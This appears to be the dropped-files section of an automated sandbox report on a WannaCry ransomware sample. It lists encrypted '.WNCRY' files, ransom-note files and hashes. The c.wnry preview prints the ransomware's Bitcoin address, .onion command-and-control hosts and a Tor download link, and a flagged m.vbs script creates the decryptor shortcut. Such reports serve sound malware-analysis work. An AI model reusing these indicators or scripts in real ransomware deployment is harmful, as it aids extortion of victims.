.n>.b...hh..Mu..d.f......\....9...c4~.C'..F.d..Y..Z..T........e0/........u..%v.!.X..tJv^..<..bx..0..&..60.$..F.=....0..Z.7

                                      C:\Users\user\Desktop\ZTGJILHXQB\ZQIXMVQGAH.jpg.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.826549984447524
                                      Encrypted:false
                                      SSDEEP:24:bkN77bYzPIBuKIlHeFk4n+7ocJcTDo4MvLC7ieqqktFu7s9Bsyw86r:bkNvszABupNeFe1aTDVM++kkuIkrr
                                      MD5:B10CFA298753EA06B217B218204C7CB9
                                      SHA1:A40499763EBC2CAB75B92923DCC2C30566F427A8
                                      SHA-256:DDC49BB9BAE161D91C54CBA551D0B9B58AFC8E385132F1A1BCAD62EEDFB2A789
                                      SHA-512:8ECFFAE9FE3F4995B1E454D0CAD050E8A39E54E0807A6244C446EC0C1F8864EAA0A839245D8876658B38744F8C8CE81103CD1FB968C38F7D6CACE006CA42E09C
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.......s)...4G.7......#M...tp.%....Q..4.o_....n..D-..L..'.j...u....D..i...K.[.........[\..@...._.O.L.,.%...v%R:.pmS...v.P..:....c....;...b.......b.'....2.B^x0...|S...i.WIP&..B.,g-......"..=.....p..Zz~v...iL..{.{tM...}<.B.*).p&Wsp.L...My:A.................li..U/.9...f/.....GR....)..{.3..,,....D..Qd....3.%....W.6..:....7...K.o...*Tu..)aGC.V7.......9..-...X.pM.7..g.F.^......q"...n.]...xH....v...........Q.D.2..8...J..G[.E...7.)..55....E5...*&..kG.._(.o..I..]uh........-'.....Pp..Py7.............l.9x........5.5a..E:y....2.K....vAF..p.H.....J.:.O.......].U.a....i.j!C..-.K)EH........)b.c$.Z.&.."....kL.[...iZ<sp.U....._..a...{q....s.h..X.`f..'.Du..!Q..6+$'.;..Q........".19..........n.;k.dmg...T.p..~..;k....@vgi...r...p.%.Or..5...X.....)YcUrL....R.dZ..Hj...9.c.a.v...a..vm.<..%&OxJ./.4J8..*...o....g4...c..2H .}..-d:..{...,..[-U..i...[..s...%....UQ5'xO..t_.H..B.V}.`DU.f.]S2}.y..../K.8..-....7........b.@.._B.OD.P.2.~.k}J7.../.&.. w..P..S.....U....l.~

                                      C:\Users\user\Desktop\ZTGJILHXQB\ZQIXMVQGAH.jpg.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.826549984447524
                                      Encrypted:false
                                      SSDEEP:24:bkN77bYzPIBuKIlHeFk4n+7ocJcTDo4MvLC7ieqqktFu7s9Bsyw86r:bkNvszABupNeFe1aTDVM++kkuIkrr
                                      MD5:B10CFA298753EA06B217B218204C7CB9
                                      SHA1:A40499763EBC2CAB75B92923DCC2C30566F427A8
                                      SHA-256:DDC49BB9BAE161D91C54CBA551D0B9B58AFC8E385132F1A1BCAD62EEDFB2A789
                                      SHA-512:8ECFFAE9FE3F4995B1E454D0CAD050E8A39E54E0807A6244C446EC0C1F8864EAA0A839245D8876658B38744F8C8CE81103CD1FB968C38F7D6CACE006CA42E09C
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.......s)...4G.7......#M...tp.%....Q..4.o_....n..D-..L..'.j...u....D..i...K.[.........[\..@...._.O.L.,.%...v%R:.pmS...v.P..:....c....;...b.......b.'....2.B^x0...|S...i.WIP&..B.,g-......"..=.....p..Zz~v...iL..{.{tM...}<.B.*).p&Wsp.L...My:A.................li..U/.9...f/.....GR....)..{.3..,,....D..Qd....3.%....W.6..:....7...K.o...*Tu..)aGC.V7.......9..-...X.pM.7..g.F.^......q"...n.]...xH....v...........Q.D.2..8...J..G[.E...7.)..55....E5...*&..kG.._(.o..I..]uh........-'.....Pp..Py7.............l.9x........5.5a..E:y....2.K....vAF..p.H.....J.:.O.......].U.a....i.j!C..-.K)EH........)b.c$.Z.&.."....kL.[...iZ<sp.U....._..a...{q....s.h..X.`f..'.Du..!Q..6+$'.;..Q........".19..........n.;k.dmg...T.p..~..;k....@vgi...r...p.%.Or..5...X.....)YcUrL....R.dZ..Hj...9.c.a.v...a..vm.<..%&OxJ./.4J8..*...o....g4...c..2H .}..-d:..{...,..[-U..i...[..s...%....UQ5'xO..t_.H..B.V}.`DU.f.]S2}.y..../K.8..-....7........b.@.._B.OD.P.2.~.k}J7.../.&.. w..P..S.....U....l.~

                                      C:\Users\user\Desktop\ZTGJILHXQB\ZTGJILHXQB.docx

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.808751133964194
                                      Encrypted:false
                                      SSDEEP:24:kpaP02CX02zxd+054y+mC0u/G/LXVChHTYAJ0:tP0DX02zx8KeV+rVChHTTW
                                      MD5:C316C9F6962305EAC37D1AB05F5C7E66
                                      SHA1:B7DC94944BDE07E85C0E41F248B94601095C0374
                                      SHA-256:437CA512BEB099F9D80E4C4AB81D08B7DEA2D09F1DC62999EEE4D47C7B1EEBDA
                                      SHA-512:97700D0779389416B81FC5A4382282B395FA2DB7CF583B8BAF65F78F73DB2046E24243570BE7EEB92BD235C29D1E3BD3E50F8B353174B829BD8AFC1B66940901
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:...c.,.v1A...cE%.U..65.B.j"0..*..V.:.]..3i..+..g.r....^F.!F..Z[.v..#.(..6;^.........m..w.@..lCA(h.CO".>.>o....D:.,.[....Z.... l.`..*.2.&.x]c0.KD.J..../.w,.R..fO.mL....%...r..u...Y..~'.A$...|....<eng.F<<By."S......]'..._...@.". .o..9#.0...}qA.g..H+.....j.p...x.....5.!.R.b#z...g.zd.U..-...{1.S{.R.A....':..(....Z%.V6.=$|.b2H~mH.W.=.....{._,.....,..V..(..([..T..p_.....Z......A.uY...^...s.A.2..L.I..D..")...].83...w.b}U"l.+..c+.z.$X./.i<. ..~DJ.>8..k-...0...</.y...x[..B..V/h...[.w.Dk.jR.k..=..3..8..I....o.%[7.M.h~.P.. `..x_.MY.....J.n..c.i.^l}...(..Oh.=<..,.)&.....>...b.kuA.......?>T:.pF.j./...p..;.s.D...N.'....-6....mO...R!5..Y.f.....Q..>{.a.<Ka.Y4..d!.}a0*......".q.z.0.%...i.i}j@.8M..;..<.a..>.?.....?B.~..&s.X..g+....%.P.....1b.1..h..."....9l>....Z.E.g.....Ro.d._..C..............Uq.(.q.gLu.>...J.x|.t.....x...{......<...J.&\........54.3{|...J....D.cW........|...YH..^.GJ.wl..%.zv...2.X..E.E_.I.r.P.v3..(vx..D....*;3W..$.lA.47.....6........B..i...F.0V.

                                      C:\Users\user\Desktop\ZTGJILHXQB\ZTGJILHXQB.docx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.8210434785763185
                                      Encrypted:false
                                      SSDEEP:24:bkg1DqesA072HQt0t0XpfMoRfvt2zxhwVBDI9gUf9MzLwapfaC4+1eS8TGEObBx:bkgAH7iQtfhj0zxGzD4+MaBx
                                      MD5:9AFB49C70854E4A5C4EB8D9D51807684
                                      SHA1:E93400736CEFE465BAB0B428F6A4508E14D1C4FE
                                      SHA-256:6AEA367C9DC32C53B05D8E571BC582897AD6A8DF4F022739706F7206019142B6
                                      SHA-512:D1B1618A608C15EA9FF9714C6E0AA5E25BCAB63C56CC0434EF02E07D961BBA35FD177405318E517449B57598808A25544F3672993BDF8D3CCAF7E6C76AF8BF70
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!........H....*...?.?*.JTza.."..e......+..v.m.^...8.:.....y..-..@.T]..8....K....]q ...cxS..m...1#)pk.Kg.y.THHZ.......W.D8....\....W>......G..X7u...g..d.w.....R..I.....K.^.<... ....sHZ.S.b.8#]\..4t:...4...5Z....5..J.....=2= ..L.t.[..h./yQ..{.;~w............%)k.I..2......?T~.........s.........KS...;.>.~^.....4....=_.jq...Tt.X.g.7.......U+?.f.I..Q.S..........X...2A..A..S3.....+........^.X ..W.L.C(..O'.)#q....].' .(.92'.9.q..Vo...I..%.....=.Y..../#...._W.k,l...'.Fz1.Yr. .)Pt...q`...w..N.p....7...G;..^..$.B..HJ...o.I.=....)...x2n....w..!...#.x...-........!.XI.:.k...y.x=MS@...z.w.m.'...&-V..H.Cl$.....H...?.Y!.A......Z.}.`@T?h2..K!.R.....V..=L2 m.......K?/.g.qt.rQ..)B..$......V~..Ji.......lf.8b..G.7.J.k2..8..T]..N..S... ... .$.=.T@.&...gm...I...!....,.!.%..3E'..^..%.v..Y1.Al.zm.A..1....N^+a.=.DF....2.....,....f.k./......8...9G!.....'...43}1......./F...)B3..-w#JU._..Q..g...6.zn......y.`....2%o..i.;M..g.SL=......Heh..9]...,.wV{...I..9 J.

                                      C:\Users\user\Desktop\ZTGJILHXQB\ZTGJILHXQB.docx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.8210434785763185
                                      Encrypted:false
                                      SSDEEP:24:bkg1DqesA072HQt0t0XpfMoRfvt2zxhwVBDI9gUf9MzLwapfaC4+1eS8TGEObBx:bkgAH7iQtfhj0zxGzD4+MaBx
                                      MD5:9AFB49C70854E4A5C4EB8D9D51807684
                                      SHA1:E93400736CEFE465BAB0B428F6A4508E14D1C4FE
                                      SHA-256:6AEA367C9DC32C53B05D8E571BC582897AD6A8DF4F022739706F7206019142B6
                                      SHA-512:D1B1618A608C15EA9FF9714C6E0AA5E25BCAB63C56CC0434EF02E07D961BBA35FD177405318E517449B57598808A25544F3672993BDF8D3CCAF7E6C76AF8BF70
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!........H....*...?.?*.JTza.."..e......+..v.m.^...8.:.....y..-..@.T]..8....K....]q ...cxS..m...1#)pk.Kg.y.THHZ.......W.D8....\....W>......G..X7u...g..d.w.....R..I.....K.^.<... ....sHZ.S.b.8#]\..4t:...4...5Z....5..J.....=2= ..L.t.[..h./yQ..{.;~w............%)k.I..2......?T~.........s.........KS...;.>.~^.....4....=_.jq...Tt.X.g.7.......U+?.f.I..Q.S..........X...2A..A..S3.....+........^.X ..W.L.C(..O'.)#q....].' .(.92'.9.q..Vo...I..%.....=.Y..../#...._W.k,l...'.Fz1.Yr. .)Pt...q`...w..N.p....7...G;..^..$.B..HJ...o.I.=....)...x2n....w..!...#.x...-........!.XI.:.k...y.x=MS@...z.w.m.'...&-V..H.Cl$.....H...?.Y!.A......Z.}.`@T?h2..K!.R.....V..=L2 m.......K?/.g.qt.rQ..)B..$......V~..Ji.......lf.8b..G.7.J.k2..8..T]..N..S... ... .$.=.T@.&...gm...I...!....,.!.%..3E'..^..%.v..Y1.Al.zm.A..1....N^+a.=.DF....2.....,....f.k./......8...9G!.....'...43}1......./F...)B3..-w#JU._..Q..g...6.zn......y.`....2%o..i.;M..g.SL=......Heh..9]...,.wV{...I..9 J.

                                      C:\Users\user\Desktop\b.wnry

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:PC bitmap, Windows 3.x format, 800 x 600 x 24, image size 1440000, resolution 3779 x 3779 px/m, cbSize 1440054, bits offset 54
                                      Category:dropped
                                      Size (bytes):1440054
                                      Entropy (8bit):0.3363393123555661
                                      Encrypted:false
                                      SSDEEP:384:zYzuP4tiuOub2WuzvqOFgjexqO5XgYWTIWv/+:sbL+
                                      MD5:C17170262312F3BE7027BC2CA825BF0C
                                      SHA1:F19ECEDA82973239A1FDC5826BCE7691E5DCB4FB
                                      SHA-256:D5E0E8694DDC0548D8E6B87C83D50F4AB85C1DEBADB106D6A6A794C3E746F4FA
                                      SHA-512:C6160FD03AD659C8DD9CF2A83F9FDCD34F2DB4F8F27F33C5AFD52ACED49DFA9CE4909211C221A0479DBBB6E6C985385557C495FC04D3400FF21A0FBBAE42EE7C
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:BM6.......6...(... ...X.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                      C:\Users\user\Desktop\c.wnry

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):780
                                      Entropy (8bit):2.382874608207915
                                      Encrypted:false
                                      SSDEEP:6:cQq1+pZkaHqHgVcKKfF9mHRMMPRGS37LlN/sUQqGUSGeTsdEC:cQq2maRVcKKfm2MYS3sUQqGLGeTEV
                                      MD5:D9E343C34363FE99CDC3A9D7B228E2BE
                                      SHA1:C1A0A90ED6AADAC0712EF1782404A764EA17DB2F
                                      SHA-256:5C46383E7965F9C807E0899D62766EF52A3070E505B6AA12A33AF2FC373BD04C
                                      SHA-512:68417C001043D5F935F12A294C7BDD0E92A999B43015645855CF91CBC3DC0F9D785ABE8B1B4A486DE18FCE579BAA0783046DA437F0DDBA482A26025463B08871
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:...............................................................................................................h...........C......................................................115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn................gx7ekbenv2riucmf.onion;57g7spgrzlojinas.onion;xxlvbrloxvriy2c5.onion;76jdd2ir2embyv47.onion;cwwnhwhlz52maqm7.onion;.......................................................................................................................................https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zip...........................................................................................................................................................................................................................................

                                      C:\Users\user\Desktop\f.wnry

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):1096
                                      Entropy (8bit):4.8910746071036515
                                      Encrypted:false
                                      SSDEEP:24:oAuVV7uVo2wVwuVwuVwuVwuVwuVwuVwuVwhV0Z6wVwuVwuVwuVwuVwuHZ6T/weVH:oAu/ujgwawawawawawawawh46gwawawl
                                      MD5:AB50807CBD242B42FBDFC79464F377D1
                                      SHA1:86D1166CB6228EBF802DCD2A800F22444C17E6C4
                                      SHA-256:FB83C2BC41989CEAD5553FAF59691C581576F416C3680356526116B4E9136661
                                      SHA-512:8AC71CAD2F6518047AC8EEBE28002AC4425CBE6205407F14D2F06B9614BDC8BB25D82A08C4ADB7C245CBADF8B7358D23E0C85021D9F9F8C099BF5DD7590FBD27
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\IPKGELNTQY.pdf.WNCRY..C:\Documents and Settings\user\AppData\Roaming\Microsoft\Windows\Recent\VAMYDFPUND.xlsx.WNCRY..C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Explorer\iconcache_32.db.WNCRY..C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\7603651830\tinytile.png.WNCRY..C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\User Account Pictures\user-40.png.WNCRY..C:\Documents and Settings\user\AppData\Roaming\M

                                      C:\Users\user\Desktop\m.vbs

                                      Download File
                                      Process:C:\Windows\SysWOW64\cmd.exe
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):199
                                      Entropy (8bit):4.993433402537439
                                      Encrypted:false
                                      SSDEEP:3:gponhvDCKFcsDONy+WlynJ96JS2x9rbPONy+WlynJSK2Fvn:e+hvbnRoJgJSoPnRoJSK2Fv
                                      MD5:BC117AC292350CB5C49A0D1660AFF679
                                      SHA1:FB6A629B267BBF4E7E4BC63B299F92DC1E518D4D
                                      SHA-256:E7325F2A555AE1A1694951B7782C4159013597C2D5BF480CC091C6A0E66BFC64
                                      SHA-512:B66227CF3944AF105818176FA43F628F89E4393B372949BC86A7513E11B62209B96B169C33E836E32C8BBA4387B78844A9FB08F37F62EC1E05DEF2F2BF89B093
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:SET ow = WScript.CreateObject("WScript.Shell")..SET om = ow.CreateShortcut("C:\Users\user\Desktop\@WanaDecryptor@.exe.lnk")..om.TargetPath = "C:\Users\user\Desktop\@WanaDecryptor@.exe"..om.Save..

                                      C:\Users\user\Desktop\msg\m_bulgarian.wnry

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                      Category:dropped
                                      Size (bytes):47879
                                      Entropy (8bit):4.950611667526586
                                      Encrypted:false
                                      SSDEEP:768:Shef3jHdCG28Eb1tyci8crbEw6/5+3xFkbP0vyzbZrS14e:SheU5De
                                      MD5:95673B0F968C0F55B32204361940D184
                                      SHA1:81E427D15A1A826B93E91C3D2FA65221C8CA9CFF
                                      SHA-256:40B37E7B80CF678D7DD302AAF41B88135ADE6DDF44D89BDBA19CF171564444BD
                                      SHA-512:7601F1883EDBB4150A9DC17084012323B3BFA66F6D19D3D0355CF82B6A1C9DCE475D758DA18B6D17A8B321BF6FCA20915224DBAEDCB3F4D16ABFAF7A5FC21B92
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                      C:\Users\user\Desktop\msg\m_chinese (simplified).wnry

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                      Category:dropped
                                      Size (bytes):54359
                                      Entropy (8bit):5.015093444540877
                                      Encrypted:false
                                      SSDEEP:768:SWjkSFwwlUdcUG2HAmDTzpXtgmDNQ8qD7DHDqMtgDdLDMaDoKMGzD0DWJQ8/QoZ4:SWcwiqDB
                                      MD5:0252D45CA21C8E43C9742285C48E91AD
                                      SHA1:5C14551D2736EEF3A1C1970CC492206E531703C1
                                      SHA-256:845D0E178AEEBD6C7E2A2E9697B2BF6CF02028C50C288B3BA88FE2918EA2834A
                                      SHA-512:1BFCF6C0E7C977D777F12BD20AC347630999C4D99BD706B40DE7FF8F2F52E02560D68093142CC93722095657807A1480CE3FB6A2E000C488550548C497998755
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\*\panose 020b0604020202020204}Arial;}..{\f12\fbidi \froman\fcharset129\fprq2{\*\panose 02030600000101010101}\'b9\'d9\'c5\'c1{\*\falt Batang};}{\f18\fbidi \fmodern\fcharset136\fprq1{\*\panose 02020509000000000000}MingLiU{\*\falt 2OcuAe};}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\f44\fbidi \froman\fcharset129\fprq2{\*\panose 02030600000101010101}@\'b9\'d9\'c5\'c1;}..{\f45\fbidi \fmodern\fcharset136\fprq1{\*\panose 02020509000000000000}@MingLiU;}{\f53\fbidi \fmodern\fcharset129\fprq1{\*\panose 020b0609000101010101}\'b1\'bc\'b8\'b2\'c3\'bc;}..{\f54\fbidi \fmodern\fchar

                                      C:\Users\user\Desktop\msg\m_chinese (traditional).wnry

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                      Category:dropped
                                      Size (bytes):79346
                                      Entropy (8bit):4.901891087442577
                                      Encrypted:false
                                      SSDEEP:768:SDwtkzjHdLG2xN1fyvnywUKB5lylYlzlJpsbuEWeM/yDRu9uCuwyInIwDOHEhm/v:SDnz5Rt4D4
                                      MD5:2EFC3690D67CD073A9406A25005F7CEA
                                      SHA1:52C07F98870EABACE6EC370B7EB562751E8067E9
                                      SHA-256:5C7F6AD1EC4BC2C8E2C9C126633215DABA7DE731AC8B12BE10CA157417C97F3A
                                      SHA-512:0766C58E64D9CDA5328E00B86F8482316E944AA2C26523A3C37289E22C34BE4B70937033BEBDB217F675E40DB9FECDCE0A0D516F9065A170E28286C2D218487C
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\*\panose 020b0604020202020204}Arial;}..{\f11\fbidi \fmodern\fcharset128\fprq1{\*\panose 02020609040205080304}MS Mincho{\*\falt ?l?r ??\'81\'66c};}{\f12\fbidi \froman\fcharset129\fprq2{\*\panose 02030600000101010101}\'b9\'d9\'c5\'c1{\*\falt Batang};}..{\f18\fbidi \fmodern\fcharset136\fprq1{\*\panose 02020509000000000000}MingLiU{\*\falt 2OcuAe};}{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}..{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020

                                      C:\Users\user\Desktop\msg\m_croatian.wnry

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                      Category:dropped
                                      Size (bytes):39070
                                      Entropy (8bit):5.03796878472628
                                      Encrypted:false
                                      SSDEEP:384:SheftipUENLFsPzy3EFHjHdb2YG2+d18Scgn8c8/868H1F8E8/8Z3m8VdAm86a8n:Shef3jHd3G2n+p/mZrS14A
                                      MD5:17194003FA70CE477326CE2F6DEEB270
                                      SHA1:E325988F68D327743926EA317ABB9882F347FA73
                                      SHA-256:3F33734B2D34CCE83936CE99C3494CD845F1D2C02D7F6DA31D42DFC1CA15A171
                                      SHA-512:DCF4CCF0B352A8B271827B3B8E181F7D6502CA0F8C9DDA3DC6E53441BB4AE6E77B49C9C947CC3EDE0BF323F09140A0C068A907F3C23EA2A8495D1AD96820051C
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                      C:\Users\user\Desktop\msg\m_czech.wnry

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                      Category:dropped
                                      Size (bytes):40512
                                      Entropy (8bit):5.035949134693175
                                      Encrypted:false
                                      SSDEEP:384:SheftipUENLFsPzy3EFHjHdg2yG2gv8n8+8zfB8k8F8i8k1Z8M8I818E838C8A8s:Shef3jHd2G26nyMZrS14g
                                      MD5:537EFEECDFA94CC421E58FD82A58BA9E
                                      SHA1:3609456E16BC16BA447979F3AA69221290EC17D0
                                      SHA-256:5AFA4753AFA048C6D6C39327CE674F27F5F6E5D3F2A060B7A8AED61725481150
                                      SHA-512:E007786FFA09CCD5A24E5C6504C8DE444929A2FAAAFAD3712367C05615B7E1B0FBF7FBFFF7028ED3F832CE226957390D8BF54308870E9ED597948A838DA1137B
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc2\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1042\themelang1033\themelangfe1042\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f2\fbidi \fmodern\fcharset0\fprq1{\*\panose 02070309020205020404}Courier New;}..{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}{\f36\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f37\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\f40\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}@\'b8\'bc\'c0\'ba \'b0\'ed\'b5\'f1;}..{\f41\fbidi \fmodern\fcharset0\fprq1{\*\panose 020b0609020204030204}Consolas;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \fmodern\fcharset129\fprq2{\*\panose 020b0503020000020004}\'b8\'bc\'c0\'ba

                                      C:\Users\user\Desktop\msg\m_danish.wnry

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                                      Category:dropped
                                      Size (bytes):37045
                                      Entropy (8bit):5.028683023706024
                                      Encrypted:false
                                      SSDEEP:384:SheftipUENLFsPzy3EFHjHd02wG2roqni2Jeo75Y3kmA31dv61QyU:Shef3jHd4G2M5bZrS14Q
                                      MD5:2C5A3B81D5C4715B7BEA01033367FCB5
                                      SHA1:B548B45DA8463E17199DAAFD34C23591F94E82CD
                                      SHA-256:A75BB44284B9DB8D702692F84909A7E23F21141866ADF3DB888042E9109A1CB6
                                      SHA-512:490C5A892FAC801B853C348477B1140755D4C53CA05726AC19D3649AF4285C93523393A3667E209C71C80AC06FFD809F62DD69AE65012DCB00445D032F1277B3
                                      Malicious:false
                                      Reputation:unknown
